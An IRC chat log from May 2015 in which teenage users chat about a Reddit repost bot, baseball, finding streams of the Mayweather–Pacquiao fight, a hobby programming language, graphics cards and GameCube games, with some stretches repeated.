[2015-05-02T22:00:40-0400] <z3t> well I don't want to get IP banned or something
[2015-05-02T22:00:48-0400] <fwilson> z3t: you can tell us
[2015-05-02T22:00:54-0400] <fwilson> we won't rapport you
[2015-05-02T22:01:19-0400] <kenzierocks> what;s karma?
[2015-05-02T22:01:27-0400] <fwilson> kenzierocks: meaningless
[2015-05-02T22:01:43-0400] <kenzierocks> sigh
[2015-05-02T22:01:43-0400] <jwoglom> it's a reddit bot
[2015-05-02T22:05:35-0400] <z3t> not meaningless ;(
[2015-05-02T22:09:22-0400] <LittleBobbyTables> what's the name bro
[2015-05-02T22:16:23-0400] <z3t> you would be the last person I would tell, LittleBobbyTables 
[2015-05-02T22:16:34-0400] <LittleBobbyTables> why
[2015-05-02T22:17:08-0400] <z3t> you'd get it banned -_-
[2015-05-02T22:18:34-0400] <LittleBobbyTables> nah
[2015-05-02T22:18:40-0400] <LittleBobbyTables> I'm interested in watching a bot just repost
[2015-05-02T22:20:47-0400] <fwilson> i want to see it z3t
[2015-05-02T22:21:23-0400] <Tamini> i want to see it too z3t
[2015-05-02T22:21:31-0400] <fwilson> now you have to tell us the username
[2015-05-02T22:21:32-0400] <fwilson> ha
[2015-05-02T22:23:16-0400] <jwoglom> z3t: you could at least show us the code :P
[2015-05-02T22:24:14-0400] <z3t> and let you run it? nop
[2015-05-02T22:27:17-0400] <fwilson> i mean
[2015-05-02T22:27:19-0400] <fwilson> i could write my own
[2015-05-02T22:27:21-0400] <fwilson> and open source it
[2015-05-02T22:27:25-0400] <fwilson> it can't be that hard
[2015-05-02T22:33:01-0400] <LittleBobbyTables> Do it
[2015-05-02T22:34:09-0400] <fwilson> sure
[2015-05-02T22:34:11-0400] <fwilson> tomorrow
[2015-05-02T22:36:16-0400] <z3t> mine does special things
[2015-05-02T22:38:11-0400] <LittleBobbyTables> Like be gay
[2015-05-02T22:38:21-0400] <z3t> yes
[2015-05-02T22:38:30-0400] <z3t> I made a homosexual reddit bot
[2015-05-02T22:38:57-0400] <jwoglom> bots can have a sexual orientation now?
[2015-05-02T22:38:59-0400] <jwoglom> impressive
[2015-05-02T22:41:12-0400] <LittleBobbyTables> berb
[2015-05-02T22:50:07-0400] <+awe> z3t: that's impressive.
[2015-05-02T22:52:36-0400] <jwoglom> alokpathy: http://mediadownloads.mlb.com/mlbam/2015/05/02/14-414003-2015-05-02/web_cut/mlbtv_98303783_1200K.mp4
[2015-05-02T22:52:38-0400] <jwoglom> ^ THIS.
[2015-05-02T23:04:17-0400] <alokpathy> DAFUQ WAS THAT
[2015-05-02T23:04:41-0400] <jwoglom> quality baseball
[2015-05-02T23:04:43-0400] <jwoglom> that's what that was
[2015-05-02T23:04:54-0400] <alokpathy> This is why the Cubs never win a WS
[2015-05-02T23:05:00-0400] <jwoglom> :(
[2015-05-02T23:05:02-0400] <jwoglom> i feel bad for them
[2015-05-02T23:05:12-0400] <jwoglom> the city deserves a good team sometime soon
[2015-05-02T23:05:24-0400] <alokpathy> Well the White Sox won it in like
[2015-05-02T23:05:26-0400] <alokpathy> '05 or something
[2015-05-02T23:05:27-0400] <alokpathy> right?
[2015-05-02T23:05:29-0400] <jwoglom> as a red sox fan i empathize
[2015-05-02T23:05:43-0400] <jwoglom> the city is pretty much split white sox/cubs though :P
[2015-05-02T23:05:49-0400] <alokpathy> True xD
[2015-05-02T23:05:51-0400] <alokpathy> It's like
[2015-05-02T23:05:54-0400] <jwoglom> the cubs have a much longer history as well
[2015-05-02T23:05:54-0400] <alokpathy> North Side/South Side
[2015-05-02T23:05:58-0400] <alokpathy> Yeah
[2015-05-02T23:06:05-0400] <jwoglom> also wrigley
[2015-05-02T23:09:48-0400] <alokpathy> Yeah I think
[2015-05-02T23:09:48-0400] <alokpathy> regardless of what team you're on
[2015-05-02T23:09:48-0400] <alokpathy> you want the Cubs to win the WS
[2015-05-02T23:10:35-0400] <jwoglom> yeah
[2015-05-02T23:10:39-0400] <jwoglom> they deserve it as a franchise
[2015-05-02T23:12:50-0400] <LittleBobbyTables> Nobody wants the Cubs to win
[2015-05-02T23:12:57-0400] <LittleBobbyTables> It's like the Browns
[2015-05-02T23:13:52-0400] <jwoglom> i would disagree with that sentiment
[2015-05-02T23:14:29-0400] <alokpathy> Nobody wants the Yankees to win the WS (besides Yankees fans), but everybody wants the Cubs to win.
[2015-05-02T23:14:52-0400] <LittleBobbyTables> That's a lie.
[2015-05-02T23:15:11-0400] <z3t> LittleBobbyTables: fight starting soon
[2015-05-02T23:15:20-0400] <alokpathy> Oh you guys are watching it too?
[2015-05-02T23:15:40-0400] <z3t> ye
[2015-05-02T23:15:43-0400] <alokpathy> jwoglom: wtf happened to the Astros
[2015-05-02T23:16:13-0400] <jwoglom> alokpathy: "Over half of the Astro's batting order has a home run so far tonight."
[2015-05-02T23:16:15-0400] <LittleBobbyTables> z3t: I just started a dota game:(
[2015-05-02T23:16:15-0400] <jwoglom> "The Astros (17-7) have the best record in the American League."
[2015-05-02T23:16:24-0400] <jwoglom> man, i dunno
[2015-05-02T23:16:32-0400] <jwoglom> cardinals also haven't lost a series
[2015-05-02T23:16:39-0400] <z3t> LittleBobbyTables: you have like 15 minutes I think :P
[2015-05-02T23:16:41-0400] <alokpathy> That's somewhat okay
[2015-05-02T23:16:47-0400] <alokpathy> just 'cause they're the Cardinals
[2015-05-02T23:16:54-0400] <alokpathy> but the Astros haven't done well in so long XD
[2015-05-02T23:17:20-0400] <JacobEdelman> Wat are you guys watching?
[2015-05-02T23:17:49-0400] <alokpathy> JacobEdelman: Mayweather v. Pacquiao
[2015-05-02T23:17:50-0400] <jwoglom> alokpathy: yeah
[2015-05-02T23:18:15-0400] <z3t> ugh all these streams laggy af
[2015-05-02T23:18:23-0400] <alokpathy> z3t: Actually though
[2015-05-02T23:19:01-0400] <JacobEdelman> ???
[2015-05-02T23:19:11-0400] <alokpathy> JacobEdelman: Boxing
[2015-05-02T23:19:21-0400] <z3t> might be worth it to actually go actually pay for it :\
[2015-05-02T23:19:42-0400] <alokpathy> jwoglom: Things might get back to normal come ASG
[2015-05-02T23:19:54-0400] <jwoglom> the all star game is like pretty far from now though
[2015-05-02T23:19:56-0400] <jwoglom> two months?
[2015-05-02T23:20:07-0400] <alokpathy> 2.5ish I think
[2015-05-02T23:20:07-0400] <JacobEdelman> Really?
[2015-05-02T23:20:12-0400] <JacobEdelman> Boxing?
[2015-05-02T23:20:16-0400] <alokpathy> It always comes quicker than expected though :P
[2015-05-02T23:20:23-0400] <alokpathy> JacobEdelman: Yeah, really big match
[2015-05-02T23:20:27-0400] • JacobEdelman: gives up hope
[2015-05-02T23:20:28-0400] <jwoglom> JacobEdelman: hey, we're talking about baseball as well :P
[2015-05-02T23:20:40-0400] <alokpathy> I normally don't watch boxing, but ESPN hasn't talked about anything else for the past week
[2015-05-02T23:20:48-0400] <alokpathy> So, it's probably a big thing
[2015-05-02T23:21:04-0400] <jwoglom> apparently it's like..tons of monies just to see it though
[2015-05-02T23:21:30-0400] <ubuntor> https://www.flickr.com/photos/oskay/8465771395/
[2015-05-02T23:21:38-0400] <JacobEdelman> Or maybe is because there nothing going on for the past week
[2015-05-02T23:21:52-0400] <alokpathy> JacobEdelman: False
[2015-05-02T23:21:58-0400] <ubuntor> http://www.evilmadscientist.com/2015/valentines-3/
[2015-05-02T23:22:06-0400] <jwoglom> i wouldn't be surprised if ESPN is affiliated with the event
[2015-05-02T23:22:20-0400] <alokpathy> jwoglom: Yeah it's like $1K or something
[2015-05-02T23:22:22-0400] <jwoglom> either way it's probably in their best interests to pump it up
[2015-05-02T23:23:07-0400] <jwoglom> ubuntor: heh, not exactly unique but good presentation :P
[2015-05-02T23:24:06-0400] <alokpathy> z3t: What're you watching it on?
[2015-05-02T23:24:22-0400] <z3t> http://cricfree.tv/watch/live/manny-pacquiao-vs-floyd-mayweather-jr-live-streaming
[2015-05-02T23:24:31-0400] <z3t> you?
[2015-05-02T23:24:53-0400] <jwoglom> yay sketchy video sites
[2015-05-02T23:25:42-0400] <z3t> hbo shutdown a shitload of streaming sites prior to the event
[2015-05-02T23:25:58-0400] <alokpathy> z3t: Nothing. I just needed one LOL
[2015-05-02T23:26:01-0400] <jwoglom> more will always come up :P
[2015-05-02T23:26:08-0400] <alokpathy> All the ones I found had 522's
[2015-05-02T23:26:45-0400] <z3t> trying to find another site cuz all the streams on this one are so laggy
[2015-05-02T23:28:53-0400] <alokpathy> Is it on TV on anything besides HBO?
[2015-05-02T23:31:46-0400] <z3t> not that I know of
[2015-05-02T23:34:18-0400] <z3t> the channel 6 stream on that site seems like the best
[2015-05-02T23:51:00-0400] <z3t> JacobEdelman: someone wants you in the pico channel
[2015-05-02T23:54:05-0400] <JacobEdelman> I know
[2015-05-02T23:54:13-0400] <LittleBobbyTables> It's ok
[2015-05-02T23:54:16-0400] <LittleBobbyTables> I settled it for you
[2015-05-02T23:55:22-0400] <z3t> LittleBobbyTables: it's starting
[2015-05-02T23:55:29-0400] <z3t> like for real now
[2015-05-02T23:56:58-0400] <LittleBobbyTables> goddamn
[2015-05-02T23:57:01-0400] <LittleBobbyTables> I've waited like 4 hours for this
[2015-05-02T23:57:14-0400] <LittleBobbyTables> And I can't even watch it because my mom is streaming some bullshit
[2015-05-02T23:57:16-0400] <jwoglom> of all times why'd they choose midnight EST, lol
[2015-05-02T23:57:36-0400] <LittleBobbyTables> Because they chose 9PM PST
[2015-05-02T23:57:59-0400] <z3t> 3 hours from event start time
[2015-05-02T23:58:01-0400] <z3t> wtf.
[2015-05-02T23:59:45-0400] <LittleBobbyTables> It starts in 3 hours?
[2015-05-03T00:00:28-0400] <LittleBobbyTables> It's just a train ad for me atm
[2015-05-03T00:01:38-0400] <LittleBobbyTables> wtf is this
[2015-05-03T00:01:39-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:01:43-0400] <LittleBobbyTables> wait nvm I got it
[2015-05-03T00:02:09-0400] <LittleBobbyTables> holy fuck these ads
[2015-05-03T00:04:55-0400] <LittleBobbyTables> I'm done trying to watch it
[2015-05-03T00:05:00-0400] <LittleBobbyTables> bad internet + ad ridden on every one
[2015-05-03T00:05:47-0400] <z3t> no LittleBobbyTables I mean the entire event started 3 hours ago
[2015-05-03T00:06:00-0400] <z3t> and yeah it's too laggy to enjoy, just gonna wait for someone to upload it afterwards
[2015-05-03T00:06:25-0400] <LittleBobbyTables> yeah
[2015-05-03T00:06:50-0400] <LittleBobbyTables> I don't really wanna watch it later though, it'll probably be spoiled
[2015-05-03T00:22:42-0400] <LittleBobbyTables> http://www.twitch.tv/shpuck69
[2015-05-03T00:22:44-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:23:37-0400] <LittleBobbyTables> it may get banned soon
[2015-05-03T00:23:49-0400] <LittleBobbyTables> but it's amazing quality while it lasts
[2015-05-03T00:24:44-0400] <z3t> thanks
[2015-05-03T00:24:52-0400] <z3t> yeah some assholes will report it
[2015-05-03T00:26:09-0400] <jwoglom> it'll probably get flagged by some bot
[2015-05-03T00:26:29-0400] <z3t> lol dota 22
[2015-05-03T00:26:32-0400] <z3t> 2 *
[2015-05-03T00:26:38-0400] <LittleBobbyTables> Yeah, that's how I found it
[2015-05-03T00:26:47-0400] <LittleBobbyTables> Was gonna watch a stream and this guy had 1k viewers and I've never heard of him
[2015-05-03T00:27:35-0400] <LittleBobbyTables> It's on League as well
[2015-05-03T00:27:41-0400] <LittleBobbyTables> People are streaming it on the most popular games
[2015-05-03T00:28:54-0400] <LittleBobbyTables> banned
[2015-05-03T00:28:59-0400] <LittleBobbyTables> I think
[2015-05-03T00:29:56-0400] <z3t> yeah
[2015-05-03T00:30:00-0400] <LittleBobbyTables> http://www.twitch.tv/hypertonixlol
[2015-05-03T00:30:08-0400] <LittleBobbyTables> Quality is terrible on this one
[2015-05-03T00:30:19-0400] <LittleBobbyTables> oh god no this one is so bad
[2015-05-03T00:31:23-0400] <LittleBobbyTables> http://www.twitch.tv/ace_cod no sound
[2015-05-03T00:31:47-0400] <z3t> twitch could easily be sued by HBO so most streams probably won't stay up that long
[2015-05-03T00:32:33-0400] <LittleBobbyTables> Amazon has a fuckton more money than HBO though
[2015-05-03T00:32:53-0400] <LittleBobbyTables> This one is probably going to last awhile.
[2015-05-03T00:33:16-0400] <LittleBobbyTables> They're doing everything right to keep it on the downlow... Except for the view count lol
[2015-05-03T00:37:17-0400] <z3t> yeah the view spikes probably don't help
[2015-05-03T00:38:09-0400] <LittleBobbyTables> sound + chat spam is what makes it noticed
[2015-05-03T00:38:14-0400] <LittleBobbyTables> The most
[2015-05-03T00:40:11-0400] <LittleBobbyTables> As you can see, 5k viewers, no ban
[2015-05-03T00:42:47-0400] <LittleBobbyTables> Now that chat is on, it's going to be banned
[2015-05-03T00:49:36-0400] <LittleBobbyTables> Welp
[2015-05-03T00:49:40-0400] <LittleBobbyTables> disappointing fight thb
[2015-05-03T01:55:02-0400] <LittleBobbyTables> lmao
[2015-05-03T01:55:04-0400] <LittleBobbyTables> valve made an update
[2015-05-03T01:55:07-0400] <LittleBobbyTables> at 11 at night
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[2015-05-02T23:57:36-0400] <LittleBobbyTables> Because they chose 9PM PST
[2015-05-02T23:57:59-0400] <z3t> 3 hours from event start time
[2015-05-02T23:58:01-0400] <z3t> wtf.
[2015-05-02T23:59:45-0400] <LittleBobbyTables> It starts in 3 hours?
[2015-05-03T00:00:28-0400] <LittleBobbyTables> It's just a train ad for me atm
[2015-05-03T00:01:38-0400] <LittleBobbyTables> wtf is this
[2015-05-03T00:01:39-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:01:43-0400] <LittleBobbyTables> wait nvm I got it
[2015-05-03T00:02:08-0400] <LittleBobbyTables> holy fuck these ads
[2015-05-03T00:04:55-0400] <LittleBobbyTables> I'm done trying to watch it
[2015-05-03T00:05:00-0400] <LittleBobbyTables> bad internet + ad ridden on every one
[2015-05-03T00:05:47-0400] <z3t> no LittleBobbyTables I mean the entire event started 3 hours ago
[2015-05-03T00:06:00-0400] <z3t> and yeah it's too laggy to enjoy, just gonna wait for someone to upload it afterwards
[2015-05-03T00:06:25-0400] <LittleBobbyTables> yeah
[2015-05-03T00:06:50-0400] <LittleBobbyTables> I don't really wanna watch it later though, it'll probably be spoiled
[2015-05-03T00:22:42-0400] <LittleBobbyTables> http://www.twitch.tv/shpuck69
[2015-05-03T00:22:43-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:23:37-0400] <LittleBobbyTables> it may get banned soon
[2015-05-03T00:23:49-0400] <LittleBobbyTables> but it's amazing quality while it lasts
[2015-05-03T00:24:44-0400] <z3t> thanks
[2015-05-03T00:24:51-0400] <z3t> yeah some assholes will report it
[2015-05-03T00:26:09-0400] <jwoglom> it'll probably get flagged by some bot
[2015-05-03T00:26:28-0400] <z3t> lol dota 22
[2015-05-03T00:26:32-0400] <z3t> 2 *
[2015-05-03T00:26:38-0400] <LittleBobbyTables> Yeah, that's how I found it
[2015-05-03T00:26:46-0400] <LittleBobbyTables> Was gonna watch a stream and this guy had 1k viewers and I've never heard of him
[2015-05-03T00:27:35-0400] <LittleBobbyTables> It's on League as well
[2015-05-03T00:27:41-0400] <LittleBobbyTables> People are streaming it on the most popular games
[2015-05-03T00:28:54-0400] <LittleBobbyTables> banned
[2015-05-03T00:28:58-0400] <LittleBobbyTables> I think
[2015-05-03T00:29:56-0400] <z3t> yeah
[2015-05-03T00:30:00-0400] <LittleBobbyTables> http://www.twitch.tv/hypertonixlol
[2015-05-03T00:30:08-0400] <LittleBobbyTables> Quality is terrible on this one
[2015-05-03T00:30:19-0400] <LittleBobbyTables> oh god no this one is so bad
[2015-05-03T00:31:23-0400] <LittleBobbyTables> http://www.twitch.tv/ace_cod no sound
[2015-05-03T00:31:47-0400] <z3t> twitch could easily be sued by HBO so most streams probably won't stay up that long
[2015-05-03T00:32:33-0400] <LittleBobbyTables> Amazon has a fuckton more money than HBO though
[2015-05-03T00:32:53-0400] <LittleBobbyTables> This one is probably going to last awhile.
[2015-05-03T00:33:16-0400] <LittleBobbyTables> They're doing everything right to keep it on the downlow... Except for the view count lol
[2015-05-03T00:37:17-0400] <z3t> yeah the view spikes probably don't help
[2015-05-03T00:38:09-0400] <LittleBobbyTables> sound + chat spam is what makes it noticed
[2015-05-03T00:38:13-0400] <LittleBobbyTables> The most
[2015-05-03T00:40:11-0400] <LittleBobbyTables> As you can see, 5k viewers, no ban
[2015-05-03T00:42:47-0400] <LittleBobbyTables> Now that chat is on, it's going to be banned
[2015-05-03T00:49:36-0400] <LittleBobbyTables> Welp
[2015-05-03T00:49:39-0400] <LittleBobbyTables> disappointing fight thb
[2015-05-03T01:55:02-0400] <LittleBobbyTables> lmao
[2015-05-03T01:55:04-0400] <LittleBobbyTables> valve made an update
[2015-05-03T01:55:07-0400] <LittleBobbyTables> at 11 at night
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[2015-05-03T04:12:48-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-02T23:57:36-0400] <LittleBobbyTables> Because they chose 9PM PST
[2015-05-02T23:57:59-0400] <z3t> 3 hours from event start time
[2015-05-02T23:58:01-0400] <z3t> wtf.
[2015-05-02T23:59:45-0400] <LittleBobbyTables> It starts in 3 hours?
[2015-05-03T00:00:28-0400] <LittleBobbyTables> It's just a train ad for me atm
[2015-05-03T00:01:38-0400] <LittleBobbyTables> wtf is this
[2015-05-03T00:01:39-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:01:43-0400] <LittleBobbyTables> wait nvm I got it
[2015-05-03T00:02:08-0400] <LittleBobbyTables> holy fuck these ads
[2015-05-03T00:04:55-0400] <LittleBobbyTables> I'm done trying to watch it
[2015-05-03T00:05:00-0400] <LittleBobbyTables> bad internet + ad ridden on every one
[2015-05-03T00:05:47-0400] <z3t> no LittleBobbyTables I mean the entire event started 3 hours ago
[2015-05-03T00:06:00-0400] <z3t> and yeah it's too laggy to enjoy, just gonna wait for someone to upload it afterwards
[2015-05-03T00:06:25-0400] <LittleBobbyTables> yeah
[2015-05-03T00:06:50-0400] <LittleBobbyTables> I don't really wanna watch it later though, it'll probably be spoiled
[2015-05-03T00:22:42-0400] <LittleBobbyTables> http://www.twitch.tv/shpuck69
[2015-05-03T00:22:43-0400] <LittleBobbyTables> z3t: 
[2015-05-03T00:23:37-0400] <LittleBobbyTables> it may get banned soon
[2015-05-03T00:23:49-0400] <LittleBobbyTables> but it's amazing quality while it lasts
[2015-05-03T00:24:44-0400] <z3t> thanks
[2015-05-03T00:24:51-0400] <z3t> yeah some assholes will report it
[2015-05-03T00:26:09-0400] <jwoglom> it'll probably get flagged by some bot
[2015-05-03T00:26:28-0400] <z3t> lol dota 22
[2015-05-03T00:26:32-0400] <z3t> 2 *
[2015-05-03T00:26:38-0400] <LittleBobbyTables> Yeah, that's how I found it
[2015-05-03T00:26:46-0400] <LittleBobbyTables> Was gonna watch a stream and this guy had 1k viewers and I've never heard of him
[2015-05-03T00:27:35-0400] <LittleBobbyTables> It's on League as well
[2015-05-03T00:27:41-0400] <LittleBobbyTables> People are streaming it on the most popular games
[2015-05-03T00:28:54-0400] <LittleBobbyTables> banned
[2015-05-03T00:28:58-0400] <LittleBobbyTables> I think
[2015-05-03T00:29:56-0400] <z3t> yeah
[2015-05-03T00:30:00-0400] <LittleBobbyTables> http://www.twitch.tv/hypertonixlol
[2015-05-03T00:30:08-0400] <LittleBobbyTables> Quality is terrible on this one
[2015-05-03T00:30:19-0400] <LittleBobbyTables> oh god no this one is so bad
[2015-05-03T00:31:23-0400] <LittleBobbyTables> http://www.twitch.tv/ace_cod no sound
[2015-05-03T00:31:47-0400] <z3t> twitch could easily be sued by HBO so most streams probably won't stay up that long
[2015-05-03T00:32:33-0400] <LittleBobbyTables> Amazon has a fuckton more money than HBO though
[2015-05-03T00:32:53-0400] <LittleBobbyTables> This one is probably going to last awhile.
[2015-05-03T00:33:16-0400] <LittleBobbyTables> They're doing everything right to keep it on the downlow... Except for the view count lol
[2015-05-03T00:37:17-0400] <z3t> yeah the view spikes probably don't help
[2015-05-03T00:38:09-0400] <LittleBobbyTables> sound + chat spam is what makes it noticed
[2015-05-03T00:38:13-0400] <LittleBobbyTables> The most
[2015-05-03T00:40:11-0400] <LittleBobbyTables> As you can see, 5k viewers, no ban
[2015-05-03T00:42:47-0400] <LittleBobbyTables> Now that chat is on, it's going to be banned
[2015-05-03T00:49:36-0400] <LittleBobbyTables> Welp
[2015-05-03T00:49:39-0400] <LittleBobbyTables> disappointing fight thb
[2015-05-03T01:55:02-0400] <LittleBobbyTables> lmao
[2015-05-03T01:55:04-0400] <LittleBobbyTables> valve made an update
[2015-05-03T01:55:07-0400] <LittleBobbyTables> at 11 at night
[2015-05-03T01:55:11-0400] <LittleBobbyTables> to add a mana cost to an item
[2015-05-03T04:12:49-0400] Mode is +nrt
[2015-05-03T10:00:50-0400] <fwilson> z3t: how's your reddit bot doing
[2015-05-03T10:28:08-0400] <JacobEdelman> gmorning all
[2015-05-03T11:56:22-0400] <z3t> fwilson: I stopped the script last night to maximize internet for the fight, so the same as yesterday.
[2015-05-03T12:44:41-0400] <jwoglom> z3t: it might be better for the sake of keeping it believable if it only works between 8am and midnight or something
[2015-05-03T12:46:53-0400] <z3t> well it makes API calls every 2 seconds so if they really looked at it...
[2015-05-03T13:10:04-0400] <JacobEdelman> lark is now in a usable state
[2015-05-03T13:10:18-0400] <JacobEdelman> https://github.com/JacobEdelman/lark/blob/master/test.lark
[2015-05-03T13:11:05-0400] <alokpathy> nil + nil = nil?
[2015-05-03T13:11:30-0400] <JacobEdelman> nil is an empty list
[2015-05-03T13:11:32-0400] <JacobEdelman> in this case
[2015-05-03T13:12:00-0400] <JacobEdelman> that files defines everything for lists
[2015-05-03T13:12:06-0400] <JacobEdelman> the only things written in python for lists
[2015-05-03T13:12:21-0400] <z3t> JacobEdelman: you still have not addressed my issue
[2015-05-03T13:12:30-0400] <JacobEdelman> z3t: yea, I have
[2015-05-03T13:12:34-0400] <JacobEdelman> so, as I was saying
[2015-05-03T13:12:39-0400] <JacobEdelman> the only thing in python for lists is
[2015-05-03T13:12:39-0400] <z3t> you did not.
[2015-05-03T13:12:46-0400] <JacobEdelman> the basic syntax
[2015-05-03T13:12:52-0400] <JacobEdelman> which desugars it to the cons form
[2015-05-03T13:13:17-0400] <JacobEdelman> z3t: it is an experimental language
[2015-05-03T13:13:30-0400] <JacobEdelman> aimed at unfiying many disparate language concepts
[2015-05-03T13:13:34-0400] <JacobEdelman> under one powerful idea
[2015-05-03T13:17:21-0400] <JacobEdelman> z3t: i have added that issue's text to the readme
[2015-05-03T13:17:25-0400] <JacobEdelman> under "Praise?"
[2015-05-03T13:21:36-0400] <+awe> bob_twinkles: my adviser suggested a more useful definition of fold as def bddFold[B](node: Node, trueAcc: B, falseAcc: B, branchOp: (B, X, B) => B): B
[2015-05-03T13:22:14-0400] <JacobEdelman> awe: look at the lark tests!
[2015-05-03T13:22:19-0400] <JacobEdelman> they implement lazyness
[2015-05-03T13:22:20-0400] <+awe> I did, I did.
[2015-05-03T13:22:27-0400] <JacobEdelman> arn't they not horrible?
[2015-05-03T13:22:30-0400] <+awe> They implement laziness? How?
[2015-05-03T13:23:06-0400] <JacobEdelman> correction
[2015-05-03T13:23:12-0400] <JacobEdelman> use, not implement
[2015-05-03T13:23:16-0400] <+awe> Oh, yes, that is true.
[2015-05-03T13:23:32-0400] <+awe> Otherwise infini_fibs would not work.
[2015-05-03T13:23:36-0400] <JacobEdelman> correct
[2015-05-03T13:23:45-0400] <JacobEdelman> also, the last example would take forever
[2015-05-03T13:24:18-0400] <JacobEdelman> now I need to make the rewrite rules first class
[2015-05-03T13:24:46-0400] <JacobEdelman> it shouldn't be too hard
[2015-05-03T13:24:56-0400] <JacobEdelman> since the nonterminals (variables) are valid expressions
[2015-05-03T13:33:12-0400] <z3t> you still need to rename your "language", JacobEdelman.
[2015-05-03T13:35:23-0400] <JacobEdelman> Why?
[2015-05-03T13:38:48-0400] <z3t> your readme says so
[2015-05-03T13:45:04-0400] <JacobEdelman> Oh
[2015-05-03T13:45:09-0400] <JacobEdelman> I'll remove that sometime
[2015-05-03T13:45:16-0400] <JacobEdelman> Eating now
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[2015-05-03T14:40:10-0400] <LittleBobbyTables> Why are these kids like "if you have no budget, get the 980"
[2015-05-03T14:40:27-0400] <LittleBobbyTables> When 1) it gives very slight increase, like 5% if that, on almost everything
[2015-05-03T14:40:46-0400] <LittleBobbyTables> 2) the 295x2 is significantly better (a lot more money but hey, unlimited budget)
[2015-05-03T14:40:55-0400] <LittleBobbyTables> 3) the titan x is significantly better, refer to #2
[2015-05-03T14:49:39-0400] <bob_twinkles> I think the titan X costs more than any machine I own
[2015-05-03T14:51:40-0400] <LittleBobbyTables> It's only a thousand dollars
[2015-05-03T14:55:02-0400] <jwoglom> #tjhsst dramatime! again!
[2015-05-03T14:56:24-0400] <LittleBobbyTables> ohhhI wanna j oin
[2015-05-03T14:56:26-0400] <LittleBobbyTables> But I'm banned
[2015-05-03T14:56:54-0400] <jwoglom> last thing we need rn is more randos, lol
[2015-05-03T15:04:25-0400] <z3t> jwoglom: pls unban
[2015-05-03T15:04:27-0400] <z3t> i am tj student
[2015-05-03T15:04:43-0400] <Tamini> honestly
[2015-05-03T15:04:46-0400] <Tamini> ;-;
[2015-05-03T15:04:49-0400] <Tamini> i dont even know
[2015-05-03T15:04:49-0400] <jwoglom> yeah please don't join
[2015-05-03T15:04:57-0400] <Tamini> everyone /i/ care about is here? :>
[2015-05-03T15:05:05-0400] <Tamini> except for some random like 2am discussionpeople
[2015-05-03T15:05:22-0400] <jwoglom> #tjhsst isn't as good as it used to be
[2015-05-03T15:05:37-0400] <Tamini> i like sdroge
[2015-05-03T15:05:59-0400] <Tamini> otherwise i pretty much reserve myself to expats people
[2015-05-03T15:06:02-0400] <Tamini> or more specifically people here
[2015-05-03T15:06:15-0400] <jwoglom> yeah expats is a friend group channel
[2015-05-03T15:06:20-0400] <jwoglom> #tjhsst is just tj people who use irc (mostly sysadmins)
[2015-05-03T15:06:34-0400] <Tamini> i mean i'm barely in that friend group if at all though
[2015-05-03T15:06:37-0400] <Tamini> its mainly all the seniors
[2015-05-03T15:06:44-0400] <z3t> imo tjhsst is arrogant assholes
[2015-05-03T15:06:48-0400] <Tamini> the juniors arent really...a tight knit group of friends
[2015-05-03T15:06:51-0400] <z3t> #tjhsst that is
[2015-05-03T15:07:04-0400] <LittleBobbyTables> Nono, you were right leaving the pound off.
[2015-05-03T15:07:20-0400] <LittleBobbyTables> I got banned from the channel because I made a joke once... It was actually pretty funny
[2015-05-03T15:07:28-0400] <jwoglom> LittleBobbyTables: you aren't a tj person
[2015-05-03T15:07:33-0400] <jwoglom> that is the crux of why you were banned
[2015-05-03T15:07:37-0400] <z3t> I got banned for posting a survey.
[2015-05-03T15:07:37-0400] <jwoglom> it's not meant for you :P
[2015-05-03T15:07:51-0400] <LittleBobbyTables> Well I guess
[2015-05-03T15:07:56-0400] <LittleBobbyTables> He needed an excuse to ban me
[2015-05-03T15:08:13-0400] <LittleBobbyTables> He was like "are you going to contribute to conversations, or just spew irrelevant bullshit"
[2015-05-03T15:08:22-0400] <Tamini> oh, creffett
[2015-05-03T15:08:22-0400] <Tamini> :3
[2015-05-03T15:08:25-0400] <LittleBobbyTables> LOL
[2015-05-03T15:08:26-0400] <jwoglom> Tamini: and yeah the junior sysadmin people isn't as much of a definite group
[2015-05-03T15:08:28-0400] <LittleBobbyTables> that's the one
[2015-05-03T15:08:29-0400] <z3t> I even joined the channel when I was in Canada, said nothing, and still got banned.
[2015-05-03T15:08:36-0400] <Tamini> i mean
[2015-05-03T15:08:46-0400] <Tamini> i like you and fox and timtim and i guess sam is basically a junior
[2015-05-03T15:08:58-0400] <Tamini> but otherwise i dont even know them
[2015-05-03T15:08:58-0400] <LittleBobbyTables> I was like "you know, probably the same thing that everyone here does, since we're all immature teenagers. Both"
[2015-05-03T15:09:08-0400] <jwoglom> sam is basically a junior lol
[2015-05-03T15:09:14-0400] <LittleBobbyTables> also, I apparently have a rep in there of being a pedo
[2015-05-03T15:09:15-0400] <LittleBobbyTables> Thanks, Tamini 
[2015-05-03T15:09:26-0400] <Tamini> love you
[2015-05-03T15:10:33-0400] <jwoglom> i'm kinda curious to see what expats develops into as all the seniors graduate
[2015-05-03T15:14:38-0400] <Tamini> it'll probably die out
[2015-05-03T15:14:42-0400] <Tamini> I do want us to sorta like
[2015-05-03T15:14:45-0400] <Tamini> form a friend group of our own
[2015-05-03T15:14:53-0400] <Tamini> except there aren't enough of us to do anything >____>
[2015-05-03T15:15:15-0400] <jwoglom> who would be in that friend group?
[2015-05-03T15:15:31-0400] <LittleBobbyTables> I would do things
[2015-05-03T15:17:49-0400] <Tamini> see that's the thing
[2015-05-03T15:17:52-0400] <Tamini> i dont even know
[2015-05-03T15:18:04-0400] <+awe> What are some good multiplayer gamecube games, guys?
[2015-05-03T15:18:35-0400] <+awe> And if someone says Smash... I'm going to smash their head in.
[2015-05-03T15:18:43-0400] <Tamini> smash! 
[2015-05-03T15:18:44-0400] <Tamini> <33
[2015-05-03T15:19:13-0400] <LittleBobbyTables> Smash
[2015-05-03T15:19:14-0400] <LittleBobbyTables> For sure
[2015-05-03T15:19:33-0400] <LittleBobbyTables> It's the only good multiplayer Gamecube game, and I hate Smash.
[2015-05-03T15:19:45-0400] <+awe> I'm aware. I already have Smash. I'm looking for something else to play.
[2015-05-03T15:19:58-0400] <LittleBobbyTables> Mario Kart I guess
[2015-05-03T15:20:01-0400] <LittleBobbyTables> F-Zero is alright
[2015-05-03T15:20:06-0400] <LittleBobbyTables> Some Zelda games
[2015-05-03T15:20:08-0400] <+awe> Oo, Kirby Air Ride is fun.
